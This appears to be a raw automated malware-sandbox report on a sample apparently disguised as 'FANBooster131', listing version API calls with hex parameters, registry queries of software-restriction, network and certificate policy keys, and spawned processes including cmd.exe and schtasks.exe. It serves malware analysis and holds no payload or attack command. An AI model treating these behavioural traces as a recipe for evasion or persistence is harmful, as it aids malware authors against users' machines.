000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000296) "cw8sM05.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002596) "1va32uO2.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001640) "1va32uO2.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001640) "1va32uO2.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000099049966cc04cc66cc04ff6699040099cc043399cc046699cc049999cc04cc99cc04ff99cc0400cccc0433cccc0466cccc0499cccc04cccccc04ffcccc0400ffcc0433ffcc0466ff990499ffcc04ccffcc04ffffcc043300cc046600ff049900ff040033cc043333ff046633ff049933ff04cc33ff04ff33ff040066ff043366ff046666cc049966ff04cc66ff04ff66cc040099ff043399ff046699ff049999ff04cc99ff04ff99ff0400ccff0433ccff0466ccff0499ccff04ccccff040000d269e0e3f20266ffcc0499ffff04ccffff04d0e3f2020000d2690000000001000000 (UID: 00000000-00001640) "1va32uO2.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000001011edb04b28f88eaf2022a9de775000000002483fc7504000000000000000000000004fcf20200000000e79ce775020007809ce4f2020000000076000000ece4f202feffffff74e4f202cf000177d600017746adf575760000003b000000ece4f2026f006e0048e4f2026e007400b0e4f202 (UID: 00000000-00001640) "1va32uO2.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001640) "1va32uO2.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000099049966cc04cc66cc04ff6699040099cc043399cc046699cc049999cc04cc99cc04ff99cc0400cccc0433cccc0466cccc0499cccc04cccccc04ffcccc0400ffcc0433ffcc0466ff990499ffcc04ccffcc04ffffcc043300cc046600ff049900ff040033cc043333ff046633ff049933ff04cc33ff04ff33ff040066ff043366ff046666cc049966ff04cc66ff04ff66cc040099ff043399ff046699ff049999ff04cc99ff04ff99ff0400ccff0433ccff0466ccff0499ccff04ccccff040000d26960e0b40466ffcc0499ffff04ccffff0450e0b4040000d2690000000001000000 (UID: 00000000-00001640) "1va32uO2.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000099049966cc04cc66cc04ff6699040099cc043399cc046699cc049999cc04cc99cc04ff99cc0400cccc0433cccc0466cccc0499cccc04cccccc04ffcccc0400ffcc0433ffcc0466ff990499ffcc04ccffcc04ffffcc043300cc046600ff049900ff040033cc043333ff046633ff049933ff04cc33ff04ff33ff040066ff043366ff046666cc049966ff04cc66ff04ff66cc040099ff043399ff046699ff049999ff04cc99ff04ff99ff0400ccff0433ccff0466ccff0499ccff04ccccff040000d26950dee60266ffcc0499ffff04ccffff0440dee6020000d2690000000001000000 (UID: 00000000-00001640) "1va32uO2.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000099049966cc04cc66cc04ff6699040099cc043399cc046699cc049999cc04cc99cc04ff99cc0400cccc0433cccc0466cccc0499cccc04cccccc04ffcccc0400ffcc0433ffcc0466ff990499ffcc04ccffcc04ffffcc043300cc046600ff049900ff040033cc043333ff046633ff049933ff04cc33ff04ff33ff040066ff043366ff046666cc049966ff04cc66ff04ff66cc040099ff043399ff046699ff049999ff04cc99ff04ff99ff0400ccff0433ccff0466ccff0499ccff04ccccff040000d26970dfac0466ffcc0499ffff04ccffff0460dfac040000d2690000000001000000 (UID: 00000000-00001640) "1va32uO2.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000099049966cc04cc66cc04ff6699040099cc043399cc046699cc049999cc04cc99cc04ff99cc0400cccc0433cccc0466cccc0499cccc04cccccc04ffcccc0400ffcc0433ffcc0466ff990499ffcc04ccffcc04ffffcc043300cc046600ff049900ff040033cc043333ff046633ff049933ff04cc33ff04ff33ff040066ff043366ff046666cc049966ff04cc66ff04ff66cc040099ff043399ff046699ff049999ff04cc99ff04ff99ff0400ccff0433ccff0466ccff0499ccff04ccccff040000d269d0e0e50266ffcc0499ffff04ccffff04c0e0e5020000d2690000000001000000 (UID: 00000000-00001640) "1va32uO2.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000099049966cc04cc66cc04ff6699040099cc043399cc046699cc049999cc04cc99cc04ff99cc0400cccc0433cccc0466cccc0499cccc04cccccc04ffcccc0400ffcc0433ffcc0466ff990499ffcc04ccffcc04ffffcc043300cc046600ff049900ff040033cc043333ff046633ff049933ff04cc33ff04ff33ff040066ff043366ff046666cc049966ff04cc66ff04ff66cc040099ff043399ff046699ff049999ff04cc99ff04ff99ff0400ccff0433ccff0466ccff0499ccff04ccccff040000d26900e3b10466ffcc0499ffff04ccffff04f0e2b1040000d2690000000001000000 (UID: 00000000-00001640) "1va32uO2.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000099049966cc04cc66cc04ff6699040099cc043399cc046699cc049999cc04cc99cc04ff99cc0400cccc0433cccc0466cccc0499cccc04cccccc04ffcccc0400ffcc0433ffcc0466ff990499ffcc04ccffcc04ffffcc043300cc046600ff049900ff040033cc043333ff046633ff049933ff04cc33ff04ff33ff040066ff043366ff046666cc049966ff04cc66ff04ff66cc040099ff043399ff046699ff049999ff04cc99ff04ff99ff0400ccff0433ccff0466ccff0499ccff04ccccff040000d269c0e0e50266ffcc0499ffff04ccffff04b0e0e5020000d2690000000001000000 (UID: 00000000-00001640) "1va32uO2.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000099049966cc04cc66cc04ff6699040099cc043399cc046699cc049999cc04cc99cc04ff99cc0400cccc0433cccc0466cccc0499cccc04cccccc04ffcccc0400ffcc0433ffcc0466ff990499ffcc04ccffcc04ffffcc043300cc046600ff049900ff040033cc043333ff046633ff049933ff04cc33ff04ff33ff040066ff043366ff046666cc049966ff04cc66ff04ff66cc040099ff043399ff046699ff049999ff04cc99ff04ff99ff0400ccff0433ccff0466ccff0499ccff04ccccff040000d269c0dee40266ffcc0499ffff04ccffff04b0dee4020000d2690000000001000000 (UID: 00000000-00001640) "1va32uO2.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000099049966cc04cc66cc04ff6699040099cc043399cc046699cc049999cc04cc99cc04ff99cc0400cccc0433cccc0466cccc0499cccc04cccccc04ffcccc0400ffcc0433ffcc0466ff990499ffcc04ccffcc04ffffcc043300cc046600ff049900ff040033cc043333ff046633ff049933ff04cc33ff04ff33ff040066ff043366ff046666cc049966ff04cc66ff04ff66cc040099ff043399ff046699ff049999ff04cc99ff04ff99ff0400ccff0433ccff0466ccff0499ccff04ccccff040000d269c0e0a90466ffcc0499ffff04ccffff04b0e0a9040000d2690000000001000000 (UID: 00000000-00001640) "4Du834Zv.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003776)2c:T1316,"1va32uO2.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001640) "4Du834Zv.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000074913e0000000000000074002e004e00450054005c004600720061006d00650077006f0072006b005c00760034002e0030002e00330030003300310039005c0063006f006e006600690067005c006d0061006300680069006e0065002e0063006f006e00660069006700000057005300 (UID: 00000000-00003776) "4Du834Zv.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000200000000000000d8eb1f76c8d1440000f0fd7f9a5c017700e0fd7f98c0220044f0fd7f00000000400000003f0000002c00000000f0fd7f8cc02200c15c0177608208772c00000000f0fd7f9a5c017700e0fd7fb0c0220057890077808308771317f274d8eb1f76 (UID: 00000000-00003776) "4Du834Zv.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000a06c3900480000001000000000000000286cc30690693900c46a390028c3c306607039000000390044e9a30848e9a308c0f0a30895e1fc76046c0700feffffffff2b00779a2a0077402ec706030000000000000030080000a06c3900fce9a308bb5cd46e000039000000000022080000 (UID: 00000000-00003776) "4Du834Zv.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000338aba6b684fc8060000000058e522002827ba6b684fc806a0e522000723b96b684fc80620000000000000005c37b96b28122e0244b3840228122e02020000000000000018000000004fc806a4e522002823c06a00003900000000000c00000044b38402b0e522002f9960680c000000 (UID: 00000000-00003776) "4Du834Zv.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031007598d44400a88d3d000000000098d444002000000000000000dce5220050dc887598d444001000000074d0bd06f43596041000000008e62200a6ec196d020000000000000018000000083260680ce622002823c06a00003900000000000c0000000832606818e622002f9960680c000000 (UID: 00000000-00003776) "4Du834Zv.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100000100000030e722006a6f026300000000bc6f02630b9c4c9aace222000000000080f4220015ded27517bfbaeffeffffff7f67da75e2d832752824346c02000000000000001800000030a56068f0e622002823c06a00003900000000000c00000030a56068fce622002f9960680c000000 (UID: 00000000-00003776) "4Du834Zv.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000338aba6be054c8060000000058e522002827ba6be054c806a0e522000723b96be054c80620000000000000005c37b96b28122e02c424850228122e020200000000000000180000000054c806a4e522002823c06a00003900000000000c000000c4248502b0e522002f9960680c000000 (UID: 00000000-00003776) "4Du834Zv.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310075d89b4500a88d3d0000000000d89b450010000000000000000ce6220050dc8875d89b4500100000000c234200047296041000000038e62200a6ec196d020000000000000018000000083260683ce622002823c06a00003900000000000c0000000832606848e622002f9960680c000000 (UID: 00000000-00003776) "4Du834Zv.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000338aba6b5058c8060000000058e522002827ba6b5058c806a0e522000723b96b5058c80620000000000000005c37b96b28122e02703a850228122e020200000000000000180000000058c806a4e522002823c06a00003900000000000c000000703a8502b0e522002f9960680c000000 (UID: 00000000-00003776) "4Du834Zv.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031007598d44400a88d3d000000000098d44400200000000000000004e6220050dc887598d444001000000064bcc806544396041000000030e62200a6ec196d0200000000000000180000000832606834e622002823c06a00003900000000000c0000000832606840e622002f9960680c000000 (UID: 00000000-00003776) "4Du834Zv.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000338aba6b285dc8060000000058e522002827ba6b285dc806a0e522000723b96b285dc80620000000000000005c37b96b28122e02684e850228122e02020000000000000018000000005dc806a4e522002823c06a00003900000000000c000000684e8502b0e522002f9960680c000000 (UID: 00000000-00003776) "4Du834Zv.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031007510d54400a88d3d000000000010d54400200000000000000000e6220050dc887510d544001000000064bcc806944b9604100000002ce62200a6ec196d0200000000000000180000000832606830e622002823c06a00003900000000000c000000083260683ce622002f9960680c000000 (UID: 00000000-00003776)2d:T67d,"a56da099e59801bac606963e44684336.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "a56da099e59801bac606963e44684336.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "Qv9nk40.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "Qv9nk40.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "cw8sM05.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cw8sM05.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "1va32uO2.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "1va32uO2.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "4Du834Zv.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "4Du834Zv.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "schtasks.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "6RL4Tz0.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED")2e:T79d,Found reference to API "GetVersion" (Indicator: "GetVersion"; File: "a56da099e59801bac606963e44684336") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; File: "a56da099e59801bac606963e44684336") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; File: "a56da099e59801bac606963e44684336") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; File: "6RL4Tz0.exe.3528355195") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; File: "6RL4Tz0.exe.3528355195") Found reference to API "599214800,3516,3024,,RtlGetVersion,NTDLL.dll,"252:02:48.068",RX=0,PX=0" (Indicator: "GetVersion"; Source: "00000000-00000296.00000001.68505.00280000.00000004.mdmp") Found reference to API "GetVersion" (Indicator: "GetVersion"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API "121258393851,3516,3024,,RtlGetVersion,NTDLL.dll,"252:03:38.347",RX=0,PX=0" (Indicator: "GetVersion"; Source: "00000000-00000296.00000002.70430.00280000.00000004.mdmp, 00000000-00000296.00000003.76186.00280000.00000004.mdmp") Found reference to API "553047386,2624,3024,,RtlGetVersion,NTDLL.dll,"252:02:47.678",RX=0,PX=0" (Indicator: "GetVersion"; Source: "00000000-00000480.00000000.66549.003A0000.00000004.mdmp") Found reference to API "GetVersion" (Indicator: "GetVersion"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp")2f:Ta24,"4Du834Zv.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "ENABLEDHCP"; Value: "") "4Du834Zv.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTRATIONENABLED"; Value: "") "4Du834Zv.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTERADAPTERNAME"; Value: "") "4Du834Zv.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DOMAIN"; Value: "") "4Du834Zv.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DHCPDOMAIN"; Value: "") "4Du834Zv.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "NAMESERVER"; Value: "") "4Du834Zv.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DHCPNAMESERVER"; Value: "") "4Du834Zv.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "4Du834Zv.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "4Du834Zv.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "4Du834Zv.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "4Du834Zv.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "4Du834Zv.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "NAMESERVER"; Value: "") "4Du834Zv.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DHCPNAMESERVER"; Value: "")30:T99e,"4Du834Zv.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\4Du834Zv.exe" at 00000000-00003776-0000010C-1909873 "4Du834Zv.exe" queries volume information of "C:\" at 00000000-00003776-0000010C-6003828 "4Du834Zv.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\FANBooster131\FANBooster131.exe" at 00000000-00003776-0000010C-6126279 "4Du834Zv.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00003776-0000010C-29163926 "6RL4Tz0.exe" queries volume information of "C:\" at 00000000-00002216-0000010C-5358553 "6RL4Tz0.exe" queries volume information of "C:\" at 00000000-00002216-0000010C-6001502 "6RL4Tz0.exe" queries volume information of "C:\" at 00000000-00002216-0000010C-7027307 "6RL4Tz0.exe" queries volume information of "C:\" at 00000000-00002216-0000010C-7773059 "6RL4Tz0.exe" queries volume information of "C:\" at 00000000-00002216-0000010C-9354613 "6RL4Tz0.exe" queries volume information of "C:\" at 00000000-00002216-0000010C-10605074 "6RL4Tz0.exe" queries volume information of "C:\" at 00000000-00002216-0000010C-11401056 "6RL4Tz0.exe" queries volume information of "C:\" at 00000000-00002216-0000010C-12525336 "6RL4Tz0.exe" queries volume information of "C:\" at 00000000-00002216-0000010C-13735988 "6RL4Tz0.exe" queries volume information of "C:\" at 00000000-00002216-0000010C-14638243 "6RL4Tz0.exe" queries volume information of "C:\" at 00000000-00002216-0000010C-15610961 "6RL4Tz0.exe" queries volume information of "C:\" at 00000000-00002216-0000010C-17322996 "6RL4Tz0.exe" queries volume information of "C:\" at 00000000-00002216-0000010C-18127470 "6RL4Tz0.exe" queries volume information of "C:\" at 00000000-00002216-0000010C-23309633 "6RL4Tz0.exe" queries volume information of "C:\" at 00000000-00002216-0000010C-24065009 "6RL4Tz0.exe" queries volume information of "C:\" at 00000000-00002216-0000010C-24945562 "6RL4Tz0.exe" queries volume information of "C:\" at 00000000-00002216-0000010C-25826226 "6RL4Tz0.exe" queries volume information of "C:\" at 00000000-00002216-0000010C-26508140 "6RL4Tz0.exe" queries volume information of "C:\" at 00000000-00002216-0000010C-27383590 "6RL4Tz0.exe" queries volume information of "C:\" at 00000000-00002216-0000010C-28072078 "6RL4Tz0.exe" queries volume information of "C:\" at 00000000-00002216-0000010C-2878530931:T8c3,"4Du834Zv.exe" queries volume information of "C:\" at 00000000-00003776-0000010C-6003828 "6RL4Tz0.exe" queries volume information of "C:\" at 00000000-00002216-0000010C-5358553 "6RL4Tz0.exe" queries volume information of "C:\" at 00000000-00002216-0000010C-6001502 "6RL4Tz0.exe" queries volume information of "C:\" at 00000000-00002216-0000010C-7027307 "6RL4Tz0.exe" queries volume information of "C:\" at 00000000-00002216-0000010C-7773059 "6RL4Tz0.exe" queries volume information of "C:\" at 00000000-00002216-0000010C-9354613 "6RL4Tz0.exe" queries volume information of "C:\" at 00000000-00002216-0000010C-10605074 "6RL4Tz0.exe" queries volume information of "C:\" at 00000000-00002216-0000010C-11401056 "6RL4Tz0.exe" queries volume information of "C:\" at 00000000-00002216-0000010C-12525336 "6RL4Tz0.exe" queries volume information of "C:\" at 00000000-00002216-0000010C-13735988 "6RL4Tz0.exe" queries volume information of "C:\" at 00000000-00002216-0000010C-14638243 "6RL4Tz0.exe" queries volume information of "C:\" at 00000000-00002216-0000010C-15610961 "6RL4Tz0.exe" queries volume information of "C:\" at 00000000-00002216-0000010C-17322996 "6RL4Tz0.exe" queries volume information of "C:\" at 00000000-00002216-0000010C-18127470 "6RL4Tz0.exe" queries volume information of "C:\" at 00000000-00002216-0000010C-23309633 "6RL4Tz0.exe" queries volume information of "C:\" at 00000000-00002216-0000010C-24065009 "6RL4Tz0.exe" queries volume information of "C:\" at 00000000-00002216-0000010C-24945562 "6RL4Tz0.exe" queries volume information of "C:\" at 00000000-00002216-0000010C-25826226 "6RL4Tz0.exe" queries volume information of "C:\" at 00000000-00002216-0000010C-26508140 "6RL4Tz0.exe" queries volume information of "C:\" at 00000000-00002216-0000010C-27383590 "6RL4Tz0.exe" queries volume information of "C:\" at 00000000-00002216-0000010C-28072078 "6RL4Tz0.exe" queries volume information of "C:\" at 00000000-00002216-0000010C-28785309 "6RL4Tz0.exe" queries volume information of "C:\" at 00000000-00002216-0000010C-29351383 "6RL4Tz0.exe" queries volume information of "C:\" at 00000000-00002216-0000010C-30271445 "6RL4Tz0.exe" queries volume information of "C:\" at 00000000-00002216-0000010C-3089815132:T9d1,"4Du834Zv.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "4Du834Zv.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "4Du834Zv.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "4Du834Zv.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "4Du834Zv.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "4Du834Zv.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "4Du834Zv.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "4Du834Zv.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "4Du834Zv.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "4Du834Zv.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "4Du834Zv.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "4Du834Zv.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "4Du834Zv.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "4Du834Zv.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "4Du834Zv.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "4Du834Zv.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "4Du834Zv.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "4Du834Zv.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "4Du834Zv.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "4Du834Zv.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "") "4Du834Zv.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "") "4Du834Zv.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "") 